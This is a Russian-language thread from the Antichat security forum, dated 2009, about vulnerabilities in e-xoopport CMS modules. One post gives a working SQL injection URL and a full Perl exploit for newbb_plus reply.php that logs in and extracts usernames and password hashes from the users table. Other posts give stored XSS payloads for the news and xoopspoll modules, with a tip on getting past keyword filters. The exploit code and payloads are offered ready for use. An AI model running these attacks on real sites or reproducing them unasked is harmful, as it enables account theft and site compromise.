ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

newbb_plus еще один баг.
  #11  
Старый 07.02.2009, 20:45
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию newbb_plus еще один баг.

newbb_plus <== 0.70

Наткнулся на новую багу.
скрипт reply.php
Уязвимость: Не качественная обработка post_id, приводящая к определению $post_id и выполнению Sql инъекции(выполнение sql запроса находится в другом скрипте, который инклудит reply.php).
Эксплуатация:
PHP код:
if (!isset($forum)) {
    
redirect_header("index.php"2_MD_ERRORFORUM);
    exit();
    } elseif (!isset(
$topic_id)) {
        
redirect_header("viewforum.php?forum=$forum"2_MD_ERRORTOPIC);
        exit();
        } elseif (!isset(
$post_id)) {
            
redirect_header("viewtopic.php?topic_id=$topic_id&order=$order&viewmode=$viewmode&pid=$pid&forum=$forum"2_MD_ERRORPOST);
            exit();
            } else {
                if (
is_locked($topic_id)) {
                    
redirect_header("viewtopic.php?topic_id=$topic_id&order=$order&viewmode=$viewmode&pid=$pid&forum=$forum"2_MD_TOPICLOCKED);
                    exit();
                } 
Определяем $forum, $topic_id и $post_id(Который и будет содержать инъекцию)
Пример:
Код:
http://localhost/modules/newbb_plus/reply.php?forum=1&post_id=-1662+union+select+1,2,3,4,5,6,7,8,user(),10,11,12,13,14,15,16+from+ex_users--&topic_id=397
Эксплойт:
Код:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use Time::HiRes qw(sleep);
############################
#    options               #   
############################
#Опции и переменные


getopt("d:h:i:q:p:t:u:P:F:T");
if (!$opt_h) {
&logo(); 
exit();
}
if (!$opt_T) {
&logo(); 
exit();
}
if (!$opt_F) {
&logo(); 
exit();
}
$n=0; # счетчик количества запросов (насколько сильно мы загадили ло мускула :DDD)
$host=$opt_h;
$forum=$opt_F;
$topic=$opt_T;
$dira2="/";
$dira2=$opt_d if $opt_d;
$uid=1;
$err="mysql_fetch_array()";
$uid=$opt_i if $opt_i;
$zapr='concat(0x3a3a3a,uname,0x3a,pass,0x3a3a3a)';
$prefix='ex_';
$prefix=$opt_P if $opt_P;
$dira=$dira2."/modules/newbb_plus";
$page2="/reply.php?topic_id=".$topic."&forum=".$forum."";
#аутефикационные данные
$user=$opt_u;
$pass=$opt_p;


#############################
#метод посылки. По умолчанию get.

$method='get';
$method=$opt_t if $opt_t;


#############################
#   head                    #
#############################
# Имхо морда

sub logo() 
{
print
"\t\t
 ###########################################################################
 ############                   module newbb forum e-xooport               #
 ############             coddddeeddd by The matrix (antichat.ru)          #
 ###########################################################################
 # usage: exploit.pl                                                       # 
 #-h [host]                                                                #
 # -d[path with site] (default /)                                          #
 # -P [db prefix(default ex_)]                                             #
 # -i [user id]                                    deafault 1              #
 # -q [column(default concat(uname,0x3a,pass)]                             #
 # -u [username]                                                           # 
 # -p [password]                                                           #
 # -t [method]                                                             #
 # -F [forum]                                                              # 
 # -T [topic]                                                              #
 # exploit.pl -h http://site -d /dir/ -u evil -p qwer -F 1 -T 1  -P pref_  #
 #  -i 2                                                                   # 
 #                                                                         #
 #                                                                         # 
 ###########################################################################\n\n";
}
#############################
# auth                      # 
#############################
#создадим клиента с валидными печеньками(если есть из чего создавать их конечно ^_^)
sub auth() {
		print"	[~]login\n";
		my $browser = LWP::UserAgent->new;
		$client = LWP::UserAgent->new();
		$cookie_jar = HTTP::Cookies->new();
		$client->cookie_jar($cookie_jar);
		$op='login';
		$page1='user.php';
		$answer=$client->post(
		"http://".$host.$dira2.$page1,
[
'uname' => $user,
'pass' => $pass,
'op'=> $op
]
) ;
}


#############################
# тестируем печеньки        #
#############################
#В некоторых случаях авторизация не нужна. Поэтому если вы не хотите логиниться, эксплойт все равно продолжит работу.

	sub test() {
	$response = $client->get("http://".$host.$dira2.$page1
	);
	$ans = $response->content;
	if ($ans =~ /edituser/){
	print"	[+]login complete";
	}
		else {
	print "	[-]login failed";
	}
	}
&logo();	
&auth();
&test();


############################
#  Сердце эксплойта        #
############################
# Создадим удобный сендер и приемщик. понадобится изменять всего две переменные
sub main {
	($method,$evil)=@_;
	$response = $client->$method("http://".$host.$dira.$page2."&post_id=".$evil."");
	$ans = $response->content;
$n++;
	}


###########################
#  отаке!!!!!             #
###########################
main($method,'-999+-1111+union+select+1,2,3,4,5,6,7,8,'.$zapr.',10,11,12,13,14,15,16+from+'.$prefix.'users where uid='.$uid.'--');

if ($ans =~ /:::(.*?):::/){
print "\n	[+] targer hacked";
print "\n	[+] User:password : $1";
print "\n	[+] algoritm=md5";
print "\n	[+] exploit finished";
}
else {
print"\n	[-]sorry exploit failed(prefix incorrect? forum unvulnerable? uid incorrect? topic_id or forum_id incorrect?";
}
#  (c) The matrix (antichat.ru) date 7 february 2009
Описание:
-F - Валидное значение forum при ответе на пост
-T - указываем валидное значение topic_id при ответе на пост
-d - дирректория с сайтом ( по умолчанию / )
-h - хост
-u Имя зарегестрированного пользователя
-p Пароль зарегестрированного пользователя.
-P префикс (по умолчанию ex_)
-i id пользователя, у которого мы хотим стянуть пару login : password
Ошибка:
[-] Login - пара login:Пароль не верна. Иногда для эксплуатации требуется авторизация(не всегда), она реализована.
Пример:
зарегистрированный пользователь:lam:
password:blah
url при ответе на пост
Код:
http://localhost/xoop/modules/newbb_plus/reply.php?forum=12&post_id=1&topic_id=31&viewmode=flat&order=0
exploit.pl -h localhost -d /xoop/ -F 12 -T 31 -u lam -p blah

Последний раз редактировалось The matrix; 11.02.2009 в 19:30..
 
Ответить с цитированием

xss
  #12  
Старый 08.02.2009, 01:25
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию xss

module news <== 1.10
И этот модуль не надежный. Находим любую новость. Оставляем к ней комментарий. И в заголовок коммента пишем.
Код:
<script>alert('heck')</script>
В сам коммент пишем чё угодно. Оставляем коммент.
Вылетит аллерт(активная Xss). Конструкцию можно менять, лишь бы в ней не присутствовали слова onerror и javascript.

p.s идеи есть. Мож вскоре что-то посерьёзнее будет.

Последний раз редактировалось The matrix; 11.02.2009 в 19:31..
 
Ответить с цитированием

  #13  
Старый 11.02.2009, 17:46
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

module xoopspoll <== 1.02 ::: XSS
Скрипт: postcomment.php
Выводимые данные поля Subject(переменная $_POST['subject']) не обрабатываются, что дает нам xss.
Пример: postcomment.php
Пишем комментарий, в поле subject пишем <script>alert('hek')</script> В самом комментарии пишем что угодно.
Оставляем комментарий. И видим, что скрипт выполнился.
(действует как активная xss)

Последний раз редактировалось The matrix; 11.02.2009 в 19:32..
 
Ответить с цитированием

  #14  
Старый 11.02.2009, 18:48
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

The matrix
То что ты делаешь, это хорошо, молодец, но у меня просьба: Проставь версии и самой CMS и модулей.

Дело в том, что сейчас актуальная версия 3.1, а то что ты смотрел на e-xoopport.ru, это помоему 2.0, хотя возможно и пропатчена конечно, но в любом случае, на то, что ты выложил хотелось бы видеть версии. Сам понимаешь 2.0 достаточно старая, а на 3-ей у меня что-то не идут твои баги
 
Ответить с цитированием

  #15  
Старый 11.02.2009, 19:34
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

Цитата:
Сообщение от jokester  
The matrix
То что ты делаешь, это хорошо, молодец, но у меня просьба: Проставь версии и самой CMS и модулей.

Дело в том, что сейчас актуальная версия 3.1, а то что ты смотрел на e-xoopport.ru, это помоему 2.0, хотя возможно и пропатчена конечно, но в любом случае, на то, что ты выложил хотелось бы видеть версии. Сам понимаешь 2.0 достаточно старая, а на 3-ей у меня что-то не идут твои баги
Спс за замечание.
Указал версию движка, которого тестил. А также версии тех модулей, которые имеют больше одной версии.
Вообще e-xoopport(v 2.0) представлен, скорее ввиде сборки модулей, нежели обычного, независимого движка. Я и рассматривал скрипты движка и модули установленные по умолчанию на e-xoopport v 2.0.
На это и было расчитно(лом самого e-xoopport 2.0 а не компонентов) На паблик багтрэках есть эксплойты под более новые версии некоторых компонентов(я нашел 2 эксплойта под 2 компонента, которые использует e-xoopport). По крайней мере один из них работает вполне исправно. Но я тут выкладываю только то, что нашел я, так как кому надо, тот сам может может глянуть эксплойты на паблик багтрэках.

Последний раз редактировалось The matrix; 12.02.2009 в 00:23..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Сценарии/CMF/СMS 184 15.06.2010 11:10
[ Обзор уязвимостей RunCMS ] Solide Snake Сценарии/CMF/СMS 37 13.05.2010 18:21
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Сценарии/CMF/СMS 42 07.05.2010 19:07
Обзор уязвимостей движка трекера TBSource. Arigona Сценарии/CMF/СMS 1 28.12.2008 14:42
Обзор уязвимостей различных форумов gemaglabin Форумы 0 30.08.2006 04:38



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ